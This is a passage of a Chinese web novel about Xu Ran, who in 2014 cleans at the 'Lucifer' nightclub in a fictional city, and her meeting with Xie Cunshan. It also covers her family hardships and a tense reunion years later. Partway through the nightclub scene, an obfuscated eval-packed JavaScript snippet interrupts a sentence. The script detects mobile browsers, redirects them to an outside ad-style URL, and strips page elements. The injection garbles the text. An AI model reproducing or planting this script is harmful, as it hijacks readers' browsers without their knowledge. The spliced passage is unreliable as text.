“平时玉林路这边都是你送?” 谢存山点点头。 姜璐吹了个不正经的口哨,说,“我们老板娘等会儿就回了。她管钱的。你稍等等。” 她又问他,“抽不抽烟。” 谢存山摆了摆手,说:“我还有一桶水要送,送完了再回来。” 姜璐画着上挑的眼线,猫一样懒懒一笑,说,“那也行。等会儿我也在。” 姜璐看重皮相□□,常常一头扎进快餐式的恋爱关系,又匆匆收场。回桐城前她和一个健身教练打得火热,后来又嫌对方说话油腻,冷淡处理了。 她觉得谢存山很对她胃口,不过对方显然对她毫无兴趣。 无所谓,男人嘛,常换常新。她又坐回门口带上有线耳机听歌磨指甲。 谢存山刚要出门,迎面杀气腾腾,走进来两男一女,其中一个男的矮而壮,带着金链子,左臂有佛头纹身,不客气地用侧肩撞了他一把。 谢存山皱皱眉头,没作声,走到门外,手机响了——何清庭,他的相亲对象,问他今晚具体去哪儿吃饭。 何清庭气质柔和,谢存山不反感她。第一次见面,饭后他们在巷子里散步,正好碰上吴婶婶陪着外婆,吴婶婶调侃,说这是您准孙媳妇。外婆高兴坏了,拖着何清庭的手不放。 他发现何清庭对老人和对孩子一样耐心。 谢存山当下心里突然有所松动,就这样也挺好的,不是么。 那天晚上何清庭问他要不要周末去城东爬山,他没有拒绝。 自那之后他们又见了几次,多是周五晚饭,吃完了,散步半个钟头各自回家。两人都不热切,话题也不多,但又默契地维持着见面的频率。 谢存山回过神,回复何清庭,‘想吃什么’ 他站在门口挂了电话,听背后另一个拎着公文包耳上夹着烟的男人说:“李婷是哪个。” 姜璐把指甲刀往桌上一扔,抱着双臂,皱着眉,似笑非笑,说,“两位是按摩还是养面。” “哥,就是那个。我认得。”身后带墨镜的女人指着里头表情惊慌的女孩儿。 纹身男三步并作两步,把小燕扯到面前,姜璐要拦,被推开,猛地撞到了腰。 小燕不怯,挣扎着说:“我不认得你们。你们这样是犯法的。” 纹身男力气大,掐小鸡仔似的掐住她手臂,问:“姐,是不是。” “就是她。”女人把墨镜取下来,扬起涂着红指甲的手,不客气地甩了小燕一巴掌。 ”你们到底是谁!我不认识你们!”小燕尖叫。 虎头男发话,“把她衣服扒/了。还嘴硬。让你做鸡,骚货,欺负到我老妹身上来了。喜欢做鸡是吧,我让你做个够...” 姜璐扑上去,掐纹身男的胳膊,说:“再这样我报警了。” 公文包男伸出食指指着她的脸,说:“不闭嘴信不信我把你店砸了。” 店里的另外两个女孩儿早吓得呆若木鸡。姜璐孤立无援,余光见谢存山竟还立在门口,说:“送水的,喂,说你呢,你来帮帮忙啊!” 门外一场雨突然落下来。 狂欢似的骤雨狂风,吹飞了路人的伞。一切新的或旧的,都变得湿而重,流淌到一起,喑哑的绿,陈旧的红,黏腻浑浊,说不清道不明,清澈的只有这场雨。 谢存山一动不动,久久地,久久地看向门外。 隔壁鸭脖店的小电视机里意难忘正演到高潮。 背后女人的尖叫,男人的咒骂,街上烦躁的车鸣,孩童兴奋的笑声,扭曲,失真,团成一团,黏糊的鸡蛋液似的,占据他的听觉。 他在下陷,沉沦。 一个人影自静默的雨幕里浮现出来。纤细,生动,寻常得可怖。 ——好像他天天都在躲雨,她也天天都经过他的屋檐底下。 “送水的。你聋了?” 姜璐没好气,抬眼看到许冉湿漉漉地跑进来,这才如释重负地告状,“冉冉姐,你可算回来了。他们来闹事,还说要砸店。” 二十九岁的许冉穿着一条扎染印花的吊带布裙子。自上到下,越发浓烈的凤凰花的颜色,明媚动人。 方才在雨里狂奔,裙角洇湿了好大一块。她急着把新裙子上的雨水抖落,弯着细细的脖颈儿,牵起裙摆,露出湿漉漉的脚踝。 ——许冉的目光扫过店里七七八八的人,唯独略过谢存山。 刚刚隔着街道,她也认出他了。 他们分手近十年,刚开始几年断续联络,近些年全然断了联系。 这两年她偶尔会想,谢存山过得好不好,现在做什么工作,是不是也和别的男人一样发了点胖?恋爱了没有,结婚了没有? 她不善于表达但一直十分善于想象。这是曾经的贫穷给予的礼物。 桐城这么小,也许会遇上。她刚回来的时候在心中演习了几遍。后来又觉得自己草木皆兵,实在可笑。 十年。 人事沉浮,天灾人祸,生离死别,他们之间的那点事情,男欢女爱,简直算不得什么。 姜璐在说什么,她努力去听,但又难免晃神,怎么再遇见又下雨。她的心像旧海绵,吸饱了水,坠下去,四分五裂。 ——许冉咬着牙,垂着眼,不看眼前人的脸。她忽然害怕得厉害,几乎都要颤抖起来。 怕看他变老。怕看他失意。 3. 2014 2014年,桐城六月。春天的雨还没下完,夏天就来了。 那一年桐城新区还在开发中,桐城还只有两座桥,将江东和江西连接,桐城的夜生活仍集中在桐城老城中心的莲花西路。 桐城古来是依江而建的城市,莲花西路离旧码头不远,本有一片莲花池,后填成了路。 老桐城人最先就聚居于此,这一块遍布三坊七巷,桐城老字号的面馆,包子铺,炒货店,民国初年的钱庄,米厂,报馆,太清宫,臬台衙门,再往前数,还有云阳茶馆、玉楼东酒家、吴元泰酱园。 有的当地老人还爱说,当年韩玄被魏延追杀,逃至臬后街时,扔下一支靴子迷惑魏延,因此这里还曾有一条巷子,名为西倒脱靴巷。 当然,这些渊源典故,桐城的大多数年轻人都不知晓。 ——对他们来说,2014年的莲花西路沿路遍布夜店,酒吧,ktv,排挡,而蝴蝶大厦立于莲花西路中心,楼中更有数不尽的网咖,桌游店,按摩店,美甲美睫,私人影院,灯火通明,是霓虹永不熄灭,夜晚也从不真正降临的地方。 如果你有999个烦恼,那么莲花西路就有1000种花样让你开心。 2014年,莲花西路上最为名噪一时的是一家叫‘路西法’的夜店。 路西法盘踞蝴蝶大厦的一至五楼。据说光是装修就花费了上千万。 人们说路西法的老板是桐城最大的地产商的儿子,从加拿大回来,当地的酒吧他瞧不上眼,于是自己开一个。 蝴蝶大厦是桐城最贵的商用楼,他一包就是五层。 又有人说舞池天花板的led巨幕下吊了个巨大的玻璃盒子,午夜的时候有近乎luo/ti的女人穿着发光比基尼站在所有人的头顶上跳舞。 还有人说那儿都是有钱人,规矩少玩很花,服务员,陪/jiu,dj,经理,清一色的美女,带谁出场都可以。 这些流言蜚语,作为路西法员工的许冉却只是偶尔听说。 她去年职高毕业后,先在商场站了小半年柜台卖生发液,但薪水微薄,三个月之前,她经之前站皮鞋柜台的同事万小琴介绍来路西法工作。 万小琴在附近的老居民区租了个两室一厅,当二房东,邀许冉同住。 房子格局不好,所谓的客厅窄小极了,像个走廊,只放得下一张餐桌。出去得跟别家共用一条走廊。 她们俩房间挨着,都只有鸽子笼大小,一扇窗,都朝北,基本上见不到太阳。 没有衣柜,她们就一人买了一个布的,放在走道里。 许冉衣服不多,勉强能用。万小琴衣服太多了,后来干脆不挂了,全都堆在里头,布衣柜很快被她撑变形了,像个呕吐的嘴巴。 她们白天补觉,晚上上班,倒是并不在意光线那些。便宜就行。但四月末是梅雨季节,她们俩房间墙角都长了霉,衣柜里的衣服都一股臭味,久了还有虫从木缝里头往外爬。 万小琴带着许冉去找中介闹过,要他们要么降租要么赔钱。也是不了了之。 日夜颠倒倒是没什么,毕竟她年轻,只是偶尔会感觉与真实社会断开了联系——不过也好,除了母亲王玉芬偶尔给她打个电话,她并没有什么需要时时联系的人。 黑暗与白昼,哪一端的人生才更真实呢。那时候的许冉并没有答案。 她的生日在春末,2014年她刚刚十八岁,职高学历,除了力气和皮囊,一无所有。但她很需要很需要钱。 她和万小琴商量好了,等她们存够了钱,就一起开个美甲店。 万小琴比她大几岁,二十出头,但她初中之后就没读了,混社会的经验比她丰富,大姐头性格,脾气火爆,义气大方,一周有小一半的时间她都去男朋友那儿住,但房租用度还是跟她平摊。 几月前奶奶手术要用钱,她十分慷慨地借了两万给许冉,也没催着她还。 ——除开不太喜欢她那个挑染了紫毛,手臂有刺/青的男朋友之外,许冉觉得万小琴是个挺好的人。 目前为止,许冉都比较满意这个新工作。 她刚来,年纪又小,只能从最基础的服务员做起,其实就是什么都干,端酒送水拖地,收拾碎玻璃杯和客人的呕吐物,把避/yun套从厕所马桶里掏出来,给停车场打架的客人劝架。 路西法从上到下,所有员工都是多劳多得。她一周工作六个晚上,有时还帮别人顶班,好的时候一个月能赚三千多,比以前站柜台多。 发工资的时候,她总是很高兴。五百房租,五百给奶奶买药,三百吃饭,还万小琴一千,竟然还能存下几百。 许冉第一次感受到‘阔绰’的滋味。 到第二个月发工资的时候,她一咬牙花了三百从淘宝上置办了几套有款有型的裙子。路西法的女孩儿们都很会打扮,她看在眼里。 “嘁,这点钱算什么。起码要进业务组,业务组有提成,来钱容易,性价比很高。”万小琴告诉她。 许冉冉掐着小腿上的蚊子包,问她,那股东部呢。 万小琴在镜子前试穿大露背包tun裙,说,股东部哪里是我们可以去的,首先得有固定的客户资源在手里,然后还得能喝,得漂亮,还得情商高。Koko姐那样的才行。koko姐是大学生。你看看你,身材有料,品味不行,穿了新裙子,还是土老帽似的。 许冉冉坐在床沿笑。继续欣赏万小琴的倩影。 股东部其实就是从前俗称的卡台销售,只是现在摇身一变,都顶着股东的称号。 ‘股东’们主要做两件事情,第一直接服务于来消费的vip熟客,开卡陪/喝/jiu陪玩摇骰,第二就是‘发菜’,即通过各种渠道物色美女,并邀请其来店里,以此提高夜/店对客户的吸引力。 决定一个“股东”实力的不只是陪喝的能力,还有谁叫来的客户阔绰,谁发的‘菜’质量更好。 ‘业务组’则是全职的气氛组,在舞池里跳舞、接受搭讪、调/情,陪/聊。客人买单的酒水分成则落在自己头上。 万小琴说,路西法从不像外界猜测的那样强迫人做什么。要与客人发展到哪一步,全凭自愿。 倒也不是因为遵纪守法文明守礼——而是实在没有必要。 ——毕竟在欲望面前,人会主动低头。 万小琴去年刚进业务组的时候就被带‘出/场’过。那男人人长得有点像黎明。他很慷慨,每个月给她四千块当零花钱。万小琴觉得她真的爱上了他。 直到后来那男人的妻子带着警察找上了门,一问才知道那些钱都是挪用的单位公款。 她在派出所待了两天,钱全都吐了出来,还倒贴了,从此她就很谨慎了。 ——而且她发誓不会再真的爱上任何男人。 万小琴和紫毛不是在路西法认识的,是在女仆桌游吧,她偶尔还在那里兼职当陪玩。 紫毛以前也在街上混,现在跟着个据说做典当生意的广州老板到处跑。 紫毛对万小琴很好,不够有钱,但舍得在她身上花钱。年初情人节的时候紫毛不知从哪儿给她搞了个古驰包,万小琴喜欢极了,天天背着去上班。 夜店这种地方,当然与纯洁高尚不沾边,但也没有人想象的那么不堪。 只是欲望的形式更赤/luo一些,人与人之间更淡漠一点。仅此而已。 - 气氛组九点半报道,长期的十来个人,加上‘发菜’找来的漂亮女孩儿五六个,大家都挤在一间屋子里,化妆,换衣服,吃零食,闲聊。 做这一行的很少有性格腼腆的,大家姐姐妹妹叫得起劲,边聊八卦,边露着屁/gu,胸,大腿走来走去,没人觉得奇怪。 有人问,‘你这个无痕内衣在哪儿买的,好显大。’ ‘这裙子好看,在哪儿买的,哎,我天生屁股小,怕是撑不起来。’ 现下大家叫得亲昵,其实不到半年,这儿的人就能换一大半。大家都不用真名,出了这道门又是陌生人。 万小琴正在跟另一个叫莎莎的女人聊天,八卦另一个叫小柔的女孩子的去向。莎莎在这儿干了一年多,算是老资格了。 莎莎告诉万小琴,小柔父母从乡下来桐城找她,堵了两天门把人带走了。已经说好了人家,要回去结婚。 “她也是苦,上面一个姐姐,下面一个弟弟,父母指着她的彩礼给弟弟交大学学费。” “来这儿的谁家里没点烂事。”万小琴见惯了,一脸不在意地吐出烟圈。 等到了十点,气氛组的姑娘准备得差不多了,保洁部的人也到了。 许冉拎着垃圾袋来化妆间收拾打扫,马经理来催人,说最多五分钟就得去集合。女孩子们跟他玩闹,哄笑着骂他流氓,把他赶出了化妆间。 万小琴见许冉来了,一把抓过她,对周围几个女孩儿说,这是我新认的小妹妹,现在跟我住。刚满十八。 莎莎伸出树莓红的手指头,摸许冉的脸,“十七八岁就是好啊。这皮肤白得反光。这我得刷多少粉底液才行。” 另一个女孩翘着二郎腿搭腔,“你那叫老黄瓜刷绿漆。没用的。” 莎莎呛声:“还不是给你们这些二手烟熏的。” 另一个高挑妩媚,皮肤格外苍白的红发女人说,“怎么不跟马哥说,让你这个小妹妹也来咱们组。” 许冉认得这个女人。她叫琳达,有一双琥珀色的猫一样的眼睛。据说她之所以取了个洋名字,是因为她祖上母亲那边是俄罗斯人。 万小琴还告诉她,琳达马上就要去股东部了,因为邵骏辉看上了她。 邵骏辉就是这家夜店的大股东,桐城最大地产开发商邵其辉就是他的亲哥哥。前年,沿江一线原本限高的黄金地段,硬是让他们邵家集团开发出了桐城规模最大的高层写字楼。 “马哥说她太小了。”万小琴乖巧地答。 “马哥真谨慎。”莎莎说。 马经理马杰,东北人,小光头,是邵骏辉最信赖的下属,夜店的‘总监’,夜店里一应大小事,都得过马哥那一关。 ——琳达也是马哥网罗来送到邵骏辉手里的。 琳达哼着歌又给自己换了一顶乌黑的齐肩短发,对镜端详自己,问,“小妹妹,你想来咱们组吗。” 想来的。许冉攥着垃圾袋使劲儿点头。 围着她的女人们觉得她愣头愣脑的,很好玩,娇声笑起来。 莎莎顽笑问,“气氛组的姑娘都得有花名的。该叫你什么好呢?” 婷婷?小妍?Candy?都不合适。 琳达拍板,还这么年轻,茉莉花骨朵似的,就叫莉莉吧。 莎莎也同意,说,还挺洋气。 大家都觉得有意思,从此开始莉莉,莉莉地叫她。 - 十点马哥开始在大厅舞池里给气氛组训话。 舞池的灯大亮着,led屏还没开,夜店看上去只是个普通的挑高空间,从前往后依次设计有dj台,舞台,马道,舞池,卡座,环形吧台,二楼以上是环形落地窗vip包间。 除了那个吊顶用粗壮的铁链固定的玻璃盒子有些诡异,并无其他。 马哥有很多金句,最有名的一句是‘顾客就是上帝,想赚钱就别矫情。’ 训话之后是练舞时间。就是那几个动作,扭屁股,摇花手,大家都是老油条,动作懒洋洋,马哥又举着话筒在马道上喊:“都没吃饭呐?小娟,你那个屁股扭成这样,猴蹬儿似的。” 他说着夸张地扭了扭。 下头几个人凑在一起笑他,马杰倒是不生气。他是个八面玲珑的人物,从未真正对哪个姑娘黑过脸,这儿的女人五光十色,有的烂到淤泥里,有的又能飞上枝头,谁都不好得罪。 当然,黑脸有别人来唱——这是后话了。 许冉拎着垃圾袋,弯着腰,穿梭在女孩儿们白花花的胳膊大腿之间,清理舞池和卡座上最后的垃圾。 马杰话讲了一半,忽然三步并作两步下了马道,往门廊那边走去。女孩子们的目光追随他。 万小琴推了推许冉冉,说:“呐,koko来了。” koko生得小巧可人,皮相丰美但不艳俗,嘴唇饱满微扬,总像在微笑。今天她穿款式简单的露肩黑裙,手上拎着的亮皮方格小包是血一样的褚红色。 许冉听到旁边的女孩子在议论,那个包是迪奥的,要五万多。 “邵骏辉给买的?” “哪能啊,她早就没跟着邵骏辉了,跟一官二代打得火热呢。” “也是,她跟着邵骏辉那么些年,再怎么好看也腻了。男人都这样。”另一个涂银色指甲的女人说。 “我看她和邵骏辉还是有感情,她手里那么多客户,那么多好菜,要是我早出去自立门户了。” 另一个人笑,“哪里有什么真感情。邵骏辉那么狠的人,邵家那么硬的背景,翘他墙角,找死。” “诶,”万小琴撞一撞银指甲女人的肩,“你说koko是不是恨死琳达了。” 银指甲的女人说,那有什么。没有琳达,也有别人。 五万!许冉还在震惊之中。五万是奶奶做手术的全部费用。 那头马杰点头哈腰地把koko送上vip包厢的圆弧形阶梯。koko却对马杰爱答不理。她因马杰把琳达介绍给邵骏辉的事情耿耿于怀。 众人目送koko拾级而上。消失在阶梯尽头的门洞里。 三楼和四楼是私人svip包厢和ktv, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144304|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新客得有老客引荐通过‘股东部’的人才能预定。 许冉偶尔也跟着万小琴上去过。 ——但她们都没去过五楼。 五楼的环形落地玻璃窗是全黑的,外头看不到里头。事实上大部分的人都没去过五楼,据说一整层都是邵骏辉的私人空间,能去那一层的都是他的私交。 五楼的高度正好与空中的玻璃盒子平齐。万小琴告诉她,据说站在五楼的落地窗前,可以平视玻璃盒子中女人的舞蹈,和楼下的看客们抬起的头颅。 等氛围组暖场后,灯光就暗下来,系着领结的酒/bao就位,dj上台,钝重迷幻的音乐和鼓点像水一样浸泡着这个空间,led大屏幕上是不规则的蓝紫色光电,像极光,随着音乐缥缈地变幻着。 不一会儿客人多起来,二手烟和高纯度酒精的气味在混沌空气中共舞着,交缠着。女孩们倦懒而撩人的笑声在音乐的间隙漏进来。 万小琴今天穿着米白色的大露背包臀裙,曲线毕露,跳起舞来风情万种。她唱歌也好听,有一次她带许冉一块儿出去玩,在ktv她唱张惠妹的歌,有八分相似。 万小琴家也在周边县,原本家境不错,读书不好,父母就送她去学了好几年戏曲,想让她进地方歌舞团。 所以她什么都会一点,跳舞,唱歌,昆曲,黄梅戏,花鼓戏。张口就能来。 不过后来父亲染上了赌博,连房子都赔了进去,喝农药自杀了,留下母女俩,她就没再学了。 万小琴喜欢跳舞——长期在这样的环境里工作,难免损伤耳膜,很多氛围组的姑娘都偷偷备了耳塞,万小琴不带,她说踩着鼓点跳才有意思。 许冉在角落里整理卫生用品的功夫,万小琴已经获得了一位‘猎物’,后者正将手搭到她的肩膀上,并企图往下摩挲。万小琴牵住他的手,示意他去吧台点酒。 万小琴告诉许冉,这种十一点就来蹦的散客,都是来见世面的穷光蛋急色鬼,点一杯酒就算不错了。不能让穷鬼占了便宜。 四楼vip层亮了一间,许冉冉抬头,看见koko站在落地窗前,正同一个男人笑着搂抱在一起。灯球时亮时暗,亮的时候透过玻璃照着她穿的裙子,还有银色的细带高跟鞋包裹住细细的脚踝。 “别看了。”保洁杨姐找到在角落里的许冉,把几个已经鼓鼓囊囊的垃圾袋递给她,“去把垃圾扔了。” “不是早上才扔垃圾吗。” “叫你扔你就扔,哪里那么多废话。”杨姐是保洁组里头干得最久的。 许冉应了。忽听外头有警笛声。 她问杨姐,‘出什么事儿了。’ 杨姐见怪不怪,说,“有人在男厕所里‘溜/冰’。保安队报警把人给带走了。” “什么是溜/冰?” “就是吸/du。”杨姐说,“别打听了。快干活儿。” 许冉提着垃圾从后厨的后门出去,外头的地是湿漉漉的,看来方才下了阵雨,她们在里头浑然不觉。 八九个巨大的垃圾桶,散发恶臭。 许冉扔了垃圾,绕到远一点的屋檐下透气,这儿是摄像头的盲区,这也是万小琴告诉她的。她们跳累了,就来这一块儿抽烟闲聊躲懒。 这儿没人,许冉摸了摸口袋,摸出万小琴给她的半包女士烟和打火机。 “你连烟都不会抽,还混什么夜店。”万小琴说过。 只要能进氛围组,拿提成,只要能赚钱,她什么都愿意做,愿意学。 她打了两下,没点着,像是火花轮卡住了,真倒霉,许冉冉把烟捏在手心里,抬头看天。 可真亮啊,刚才的雨下透了,云一片都不剩,露出一轮皎洁悲悯的月。许冉看呆了。 “啊,今晚的月色真美。” “你又抽什么风。” “你懂什么,这是夏目漱石说的‘我爱你’” 女孩子的声音清亮悦耳,许冉顺着声音远远看过去,后门垃圾场的栅栏外就是一条静街,再往前就是桐城最好的高中,桐城二中。 说话的两个女孩子都扎着高高的马尾,校服是明亮的蓝色。是一群补课晚归的学生。 许冉转过墙角,离她们远一些,听到她们讨论起月考成绩和最新的霍比特人电影。 许冉给姑姑打电话,问姑姑,奶奶今天怎么样了,是不是还水肿,还疼。 姑姑说,医生说明天让出院了,先回家吃药,保守治疗。 许冉说,下个月等我有钱了,再给你汇药钱过去。 姑姑没接话,问,“你那边怎么有人吵架?” 许冉挂了电话,才发现旁边路灯下有人在打架。 哦,不,准确地说,有人在挨揍。三个揍一个,地下那个蜷缩起来,标准的挨打姿势。 万小琴告诉她,路西法生存法则第一条,不要多管闲事。 许冉铭记于心,把手机和烟都塞进兜里,转身就走,迎面碰上后厨的张大哥。她刚来的时候,在后厨帮忙,张大哥对她很照顾。 “张大哥,那儿有人打架。” 张大哥是个耿直的北方壮汉,立马吆喝说,“别打了。” “你算老几?”领头打人的是个黄毛,小鸡胸脯,打着赤膊。 “你自己去打听,邵总不喜欢别人在他的地盘闹事。”张鑫说,“等会保安队要是来,你们也不好交待。” 没有人不忌惮这个名字。但黄毛还是示威似的又给了地上的人一脚,“这么喜欢在闯哥面前摇尾巴,你现在摇啊,我看你摇啊。” 这样的事情,张鑫见多了。 一些地头蛇带来的小弟。大哥在里头潇洒泡妞,小弟在外头找茬打架,有的是江湖恩怨,有的是内部争斗。 “哥,我们走吧。”另一个小弟拉黄毛,“别给老大惹事”。 黄毛消了火,气势汹汹地走了。 蜷缩在地上的人一动不动。 许冉愣愣地问:“张大哥,他是不是死了。” 张大哥笑着摇摇头:“人没那么容易死。他是疼得动不了。” 他把刚点上的烟交给许冉:“你去,给他抽一口。” 许冉有点发怵,捏着烟,在那人身边蹲下来,把烟递到他干裂淌血的唇边。 灯光太黯淡了,她的影子一整个笼罩着他。许冉看不清这人的长相,直觉也是个很年轻的男人,有点瘦。 她只看见了他脖子侧面有一道肉爬虫似的疤,有些狰狞。 地上的人蠕动嘴唇,吸了一口,活了过来,半睁开眼,猛烈地咳嗽。 这是许冉和谢存山的初次相见。 黑暗,肮脏,污秽,但许冉一直记得那天有一轮过于明亮的满月,挂在钴蓝的天上。 记了很久很久很久。 4. 2014 那只是一个很小的插曲,司空见惯,许冉没有放在心上。 周六的早上她罕见地起了个大早,先坐217路公交车过河至汽车西站,再转长途大巴,两个小时,到了黄华县,县城再叫个当地的小面包车往山坳里开一个小时。 司机看她细胳膊细腿的学生模样,以为她是在县里读书寄宿的高中生,跟她搭讪说,“我老屋就在下头的陶公庙那里,你是哪家的细仔儿,没太见过你。” 许冉抱着帆布包,不接话。帆布包里有一千块钱现金,早上新取的。 快到老屋的时候司机说什么不愿意走了,前面都是一车宽的土路,进出困难。 许冉没跟他废话,下了车,背着包又走了三里路。她穿一双五十八块钱的凉拖,和万小琴一起拼单买的,很磨脚。 等到了老屋门口,脚后跟已经磨破了,她踮着脚踩着鞋尾,老屋的前门关着,她大声喊姑姑。 姑姑抱着脸盆出来应门,抱怨说,你来也不提前说一声,我没买你的菜。 姑姑一家本在广东打工,女儿早早嫁了人,姑父没什么出息,还搞外遇,三年前把人家肚子搞大了,姑姑一气之下离了婚,带着儿子回了桐城老家。每年为了孩子的学费和生活费双方都要扯皮。 许冉说,姑,我不在这里歇,我就来看一眼奶奶。 还是暑假,堂哥也在,坐在天井里打手机游戏。 许冉去天井换了双拖鞋,冲了冲脚,堂哥头也不抬。 奶奶半坐在老雕花床上,背后垫着两个厚厚的枕头。她这几年心脏病愈发严重,无法平躺,喘不过来气,医生说最晚最晚明年得做手术放支架,不然人就没救了。 奶奶阖着眼睛,人瘦得只剩皮包骨,生病前,她是个胖胖的很和蔼的小老太。 许冉喊她,她睁开眼,眼睛蒙了一层翳,好半天才认出她。奶奶喊她,“小冉,小冉,你怎么来了,学校是不是放假了。” 随着奶奶的心脏一起坏掉的还有奶奶的记忆。可有时候许冉觉得,奶奶糊涂了反而是好的。 奶奶招呼她吃糖,从床头的小抽屉里掏出铁饼干罐子,里面有不知道哪年积攒下来的糖果。 许冉当着她的面吃了,又跑去外面偷偷吐掉。苦的。 奶奶问她,你爸爸呢,怎么没跟你一起。 许冉说,爸爸太忙了,生意太忙了,没来。 奶奶说,怎么能让你一个女娃娃自己来哦,现在坏人那么多。 许冉问,“奶奶,你难不难受,晚上睡不睡得着,医生给你的药有没有按时吃。” 奶奶答得颠来倒去,许冉蹲在床边一瓶一瓶看奶奶的药,边看边查百度。她信不过姑姑,怕她嫌贵不按处方买药。 上个月奶奶摔了一跤,脾脏破裂,送去医院,医生说要尽快做手术,一共要五万多。 爷爷留下的存折里拢共不过十万。姑姑当即就黑了脸,说你这是什么骗子,我们不治了。 许冉苦苦哀求,姑姑最终掏了三万。剩下的费用许冉找万小琴借的。万小琴很仗义,二话没说。 堂哥来敲门,不耐烦地说开饭了。许冉看他穿了一双耐克牌的新鞋,没作声。 青椒炒鸡蛋和清炒莴笋,许冉一个劲扒饭。姑姑念念叨叨,“你都不知道你奶奶有多磨人,白天身边离不得人,半夜又不让人好睡。这种最磨人,前面那家王家里头的妈妈,睡个午觉就过去了,没让儿女操半点心。” 又说,本来你爷爷还留下点工厂的退休金,看点病吃点药,眼看着就见底了。我又找不着什么像样的工作。 许冉那一千块钱在口袋里捏了又捏,跑进厕所,从里面抽了五百出来,回来在饭桌上交给姑姑,说,姑,这五百是我补贴给你的,家里别的我也帮不上忙。之后我有了,再拿给你。 姑姑和缓神情,挺高兴地收下,给她碗里夹了一筷子鸡蛋。 下午许冉准备往回赶,晚上她还要上班。 临出门的时候姑姑向她打听,你现在在哪里上班,公司效益很好吧。 许冉说,我现在做销售卖蛋白粉。没有底薪的,卖得好才有钱。 姑姑没追问,交代:“你像你爸,会赚钱。你路过竹林坳,去看看你爸吧。” 许冉点点头,想了想,出门的时候还是把另外五百块钱压在了电视遥控器底下。 许冉一点都不怪姑姑。姑姑也是十七八岁就去广州打工,又没什么来钱的本事,还有个读高中的孩子要养活,能在老屋照看奶奶已经称得上尽孝了。 许冉的双肩包里除了钱,手机和水壶,还装了香烛纸钱和一听青岛啤酒。 桐城六月,下午三点,太阳毒辣得张牙舞爪,乡村陷入睡眠般的静寂。 竹林坳里头幽暗异常,父亲的坟头小一个月未打理,已经长出了青青的野草。 许冉熟练地拔草,拂去墓碑上的一层薄土,点燃香烛,磕头,燃烧纸钱,温度瞬间变得更高了,她的手肘和侧脸被炙烤得滚烫难忍,大片大片的烟灰蜷缩着,浮在空气里,黏在她的肌肤上,一抹,碎成齑粉。 她不敢烧太多,怕竹林下头的那户邻居有意见,也怕起山火。 她开了那听啤酒,细声说,老爸,我给你带酒来了。我现在蛮好,能赚钱了。奶奶身体不太好,你要保佑她。爸爸,马上就是你去的第十年了,你投胎了没?投胎之前给我托个梦,说一声,我好放心一点。 许冉的名字是父亲许明宗给取的。许明宗把这个女儿捧在手心里,希望她的人生如冉冉朝阳,永远不临阴影。 ——却终究还是事与愿违。 - 王玉芬和蒋东杰住在解放路东头桐城二小附近的桃园巷,离莲花西路坐6路公交三十分钟,但若是抄巷道骑自行车只需要二十来分钟。 许冉四年前开始读职高后就搬了出来,那之后就很少回家。 她还记得王玉芬和蒋东杰办酒的那天,她的母亲穿着红呢子套裙,年轻美貌依旧,她身边的男人她只见过一次,穿不合身的宽肩西装,指甲和眼珠子都泛着浅浅的灰。 有不认识的亲戚拱她叫爸,她不吭声,闷头扒饭,眼泪一滚一滚地落进白色公主裙的劣质蕾丝花边里头。 公主裙是蒋东杰从批发市场买的,料子不好,闷一背的痱子,许冉起初不愿意穿,被王玉芬扇了一巴掌。 许冉在母亲的酒席上想起过世的父亲。 许明宗生意刚起步的时候,对自己抠搜对妻女大方。他会给许冉从桐城最好的商场买各式各样的公主裙,柔软的蕾丝,细腻的丝带。 王玉芬安于做个家庭主妇,还想要二胎,许明宗不愿意,他说只要这个女儿就够了。 何止是公主裙,以后他生意做大了,要带她环游世界。 许明宗死后,王玉芬无心经营县里的工厂,不过一年便宣告破产,再过一年王玉芬经亲戚介绍带着她嫁给了蒋东杰。 蒋东杰最初对母女二人还是不错的,但其后结婚多年王玉芬迟迟不能给老将家生下一儿半女,还得养个小拖油瓶,两人嫌隙也就愈来愈多,常常吵架。 王玉芬也像变了一个人,烦躁的时候会用衣架抽许冉,有时候又跟着她一块儿哭,哭着喊,‘我怎么这么命苦。’ 蒋东杰从前在卷烟厂工作。当初王玉芬嫁进来是图蒋东杰稳定,结果结了婚才发现,他只不过是个临时工。 后来蒋东杰下了岗,拿安置金开了个烟酒回收铺子,王玉芬有时候在店里帮忙,有时候去附近的商场站站柜台,日子勉强还过得下去,一晃也是十年。 丈夫不在的时候,她偶尔和女儿抱怨,“你爸死的时候,我三十岁还没有,嫁给谁不好,偏偏找了他,都怪你姨外婆乱做媒,夸得天花乱坠。我这辈子是不指望什么男人了。你别跟我一样有眼无珠。” 2014年,王玉芬也才三十九岁,皮相未衰,神情却提前苍老。 - 90年代建的小两居,烟草局的指标房。 许冉从前住的小房间,最近被蒋东杰改成了棋牌室,勉勉强强开了两桌麻将。 王玉芬前一阵子跟她说,烟酒回收生意越来越不好了,租金却越来越贵。 房间半掩着门,里头烟味散逸出来,又被潮热封印在室内,挥之不去。 许冉不认得这间屋子了。好像它从未属于过她一样。 客厅陈设因这股子烟气显得更陈旧,空调坏了一阵了,蒋东杰不舍得买新的,烟酒的包装盒堆在墙角,红彤彤,餐桌上横陈三四个烟灰缸,堆满了,烟灰洒了一桌。 许冉不喜欢烟味,皱了皱鼻子,问正在炒菜的王玉芬:“蒋叔还是不肯买空调?” “专家说的,不吹空调才养生。”王玉芬鼻翼全是汗。被辣椒呛得使劲儿打喷嚏。排气扇也坏了一扇,另一扇有气无力。 许冉不再说什么,洗了手帮她打蛋。两张麻将桌,八个人,两菜一汤,都是王玉芬做,算十二块钱一个人。 “贵了他们不来。对面三栋一楼那家麻将机比我们新,吃饭十块钱一个人。”王玉芬抱怨。 不多时蒋东杰也回了,到家鞋也不换,去棋牌室和几个熟人招呼一圈,一家三口人才落座吃饭。 蒋东杰年轻时也算斯文体面,下了岗后事业不得志,婚姻不得意,人愈来愈邋遢潦草。如今他秃了大半个脑壳,肚子上赘肉横生,回家了就是坐在房间里那台电脑前,看网络小说。 和从前刚结婚时判若两人。 